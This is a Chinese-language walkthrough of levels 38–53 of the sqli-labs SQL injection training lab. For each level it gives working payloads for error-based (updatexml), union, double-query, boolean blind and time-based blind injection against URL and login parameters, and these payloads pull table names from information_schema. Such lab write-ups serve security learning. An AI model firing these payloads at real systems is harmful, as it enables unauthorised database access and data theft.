sqli-labs-master 38-53 Stacked-Injections
其他關卡和靶場看專欄…
文章目錄
- sqli-labs-master 38-53 Stacked-Injections
- 第三十八關-報錯注入
- 第三十九關-報錯注入
- 第四十關-盲注
- 第四十一關-盲注
- 第四十二關-聯合報錯雙查詢注入
- 第四十三關-報錯注入
- 第四十四關-盲注
- 第四十五關-盲注
- 第四十六關-報錯注入
- 第四十七關-報錯注入
- 第四十八關-時間盲注
- 第四十九關-時間盲注
- 第五十關-報錯注入
- 第五十一關-報錯注入
- 第五十二關-時間盲注
- 第五十三關-時間盲注
- 總結
第三十八關-報錯注入
?id=1'
?id=1' and '1'='1
通過上述語句可以判斷這是單引號閉合,根據報錯信息可以試一下報錯注入:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
第三十九關-報錯注入
?id=2-1
通過上述語句回顯1的信息可以初步判斷這是數字型注入,根據報錯信息可以嘗試報錯注入
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
第四十關-盲注
?id=1'
?id=1' and '1'='1
?id=1' and '1'='2
?id=1' and length(database())=8 and '1'='1
對于第一個語句頁面沒有回顯錯誤信息,所以假設為單引號閉合試一下第二個和第三個發現頁面僅僅有顯示和不顯示,所以使用盲注
第四十一關-盲注
?id=2-1
?id=2 and 1=1
第一段語句回顯1的信息,第二段回顯2的信息,得知這是字符型注入,沒有報錯信息,所以試一下盲注:
?id=1 and length(database())=8
第四十二關-聯合報錯雙查詢注入
對賬號密碼分別進行單引號探針發現,僅僅password部分有報錯,根據報錯信息得知這是單引號閉合,嘗試union注入:
login_user=1&login_password=1' order by 3#&mysubmit=Login
login_user=1&login_password=1' order by 4#&mysubmit=Login
login_user=1&login_password=1' union select 1,database(),3#&mysubmit=Login
login_user=1&login_password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#&mysubmit=Login
同樣也可以進行雙查詢注入:
login_user=1&login_password=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a#&mysubmit=Login
也可以直接updatexml報錯注入:
login_user=1&login_password=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login
第四十三關-報錯注入
對賬號密碼進行引號探針發現僅僅password部分顯示報錯信息,根據報錯信息可以知道這是單引號加上括號閉合:
嘗試報錯注入,報錯內容正常回顯:
login_user=1&login_password=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&mysubmit=Login
第四十四關-盲注
login_user=1&login_password=1' or '1'='1&mysubmit=Login
在對賬號和密碼添加引號時候發現沒有任何報錯,所以有可能print_r(mysqli_error())被注釋了。嘗試or,發現成功登錄:
所以判斷這是單引號閉合,由于沒有報錯信息所以嘗試Union注入。輸入order by判斷字段數時候,發現原來應有的報錯信息變成了登錄失敗,order by 3以內為成功,4及以上為登錄失敗,所以union select 1,2,3判斷回顯位,發現沒有回顯位,所以只能進行盲注:
login_user=1&login_password=1' or length(database())=8 -- #&mysubmit=Login
第四十五關-盲注
login_user=1&login_password=1' or '1'='1&mysubmit=Login
login_user=1&login_password=1" or "1"="1&mysubmit=Login
通過上述語句并沒有得到任何的報錯信息,所以猜測存在括號:
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
查看源代碼發現確實存在括號,所以構造閉合,成功登錄:
login_user=1&login_password=1') or ('1'='1&mysubmit=Login
由于沒有報錯信息所以使用盲注:
login_user=1&login_password=1') or length(database())=8 -- #&mysubmit=Login
第四十六關-報錯注入
查看源代碼發現order by關鍵字,這個關鍵字的作用就是針對第幾列進行升序排序
$sql = "SELECT * FROM users ORDER BY $id";
對參數值進行探針,發現order by后面是可以添加語句的,添加引號發現存在報錯信息,所以嘗試報錯注入:
?sort=3 and sleep(3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
第四十七關-報錯注入
添加引號之后回顯報錯信息,可知這是單引號閉合,并且可以嘗試報錯注入
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
第四十八關-時間盲注
添加單引號之后發現沒有返回排序信息,并且沒有報錯信息,所以猜測報錯函數被注釋了,故嘗試盲注。使用2-1發現和1的效果是一樣的,所以判斷是數字型注入
?sort=1 and if(length(database())=8,sleep(2),1)
這一道題使用不了布爾盲注,因為sort的值僅僅是order by的值而不是where條件值。
第四十九關-時間盲注
使用單引號探針沒有回顯報錯信息,所以猜測報錯函數被注釋了,所以嘗試:
?sort=1' -- #
頁面正常顯示,所以判斷這是單引號閉合,由于報錯函數被注釋所以使用盲注:
?sort=1' and if(length(database())=8,sleep(1),1) -- #
第五十關-報錯注入
單引號探針顯示報錯信息,所以判斷這是數字型注入,且可以嘗試報錯注入:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
第五十一關-報錯注入
好簡單:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #
第五十二關-時間盲注
引號探針沒有回顯任何信息,使用1’ and ‘1’='1并沒有正常顯示,使用2-1回顯1的信息,所以判斷是數字型注入,由于沒有報錯信息,所以使用時間盲注:
?sort=1 and if(length(database())=8,sleep(1),1)
第五十三關-時間盲注
服了,后面為什么這么簡單…加上單引號沒有東西顯示,所以我們嘗試閉合并使用時間盲注:
?sort=1' and sleep(3) -- #
有延時,所以存在時間盲注。
總結
后面的真的好簡單,沒啥好總結的,做了這么多題發現這一部分沒啥好看的。